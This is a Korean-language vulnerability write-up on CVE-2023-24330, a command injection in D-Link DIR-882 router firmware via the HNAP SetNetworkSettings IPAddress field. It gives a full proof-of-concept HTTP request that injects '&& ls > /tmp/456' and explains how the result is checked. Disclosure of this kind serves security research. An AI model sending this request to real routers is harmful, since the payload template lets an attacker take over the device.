
https://nvd.nist.gov/vuln/detail/CVE-2023-24330
https://github.com/caoyebo/CVE/tree/main/dlink%20882%20-%20CVE-2023-24330
D-Link DIR-882 라우터의 펌웨어 버전 DIR882A1_FW130B06에서 원격 명령 실행(Remote Command Execution) 취약점이 발견. 이를 악용하면 원격 공격자가 임의의 명령을 실행하여 장치를 제어할 수 있음
DIR882A1_FW130B06
해당 취약점은 /SetNetworkSettings/IPAddress 파라미터를 통해 전달된 값이 직접 시스템 명령어로 실행되면서 발생.
SetNetworkSettings API를 통해 입력받은 IP 주소 값이 v6 변수에 저장sprintf 함수를 사용해 v6 값을 v39 변수에 저장v39 변수의 값이 system() 함수를 통해 실행IP Address 필드에 악의적인 명령어를 삽입하면 원격에서 원하는 명령을 실행할 수 있게 됨사용자 입력값을 적절한 검증 없이 system() 함수로 실행하면서 발생하는 명령 주입(Command Injection) 문제
fat 툴을 이용해 DIR882A1_FW130B06.bin 펌웨어를 실행POST /HNAP1/ HTTP/1.1
Host: 81.70.52.167:7018
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/xml
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml
SOAPACTION: "<http://purenetworks.com/HNAP1/SetNetworkSettings>"
HNAP_AUTH: 3FD4E69D96091F37A00F8FEC98928CB5 1649128376185
Content-Length: 633
Origin: <http://81.70.52.167:7018>
Connection: close
Referer: <http://81.70.52.167:7018/Network.html>
Cookie: SESSION_ID=2:1556825615:2; uid=LeaHzVaQ
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:xsi="<http://www.w3.org/2001/XMLSchema-instance>" xmlns:xsd="<http://www.w3.org/2001/XMLSchema>" xmlns:soap="<http://schemas.xmlsoap.org/soap/envelope/>">
<soap:Body>
<SetNetworkSettings xmlns="<http://purenetworks.com/HNAP1/>">
<IPAddress>&& ls > /tmp/456 && echo 1</IPAddress>
<SubnetMask>255.255.255.0</SubnetMask>
<DeviceName>dlinkrouter3</DeviceName>
<LocalDomainName></LocalDomainName>
<IPRangeStart>1</IPRangeStart>
<IPRangeEnd>254</IPRangeEnd>
<LeaseTime>10080</LeaseTime>
<Broadcast>false</Broadcast>
<DNSRelay>true</DNSRelay>
</SetNetworkSettings>
</soap:Body>
</soap:Envelope>
IPAddress 필드에 && ls > /tmp/456 && echo 1을 삽입&& ls > /tmp/456 → ls 명령을 실행하여 /tmp/456 파일에 저장&& echo 1 → 성공적으로 실행되었음을 확인하는 1을 출력/tmp/456 파일이 생성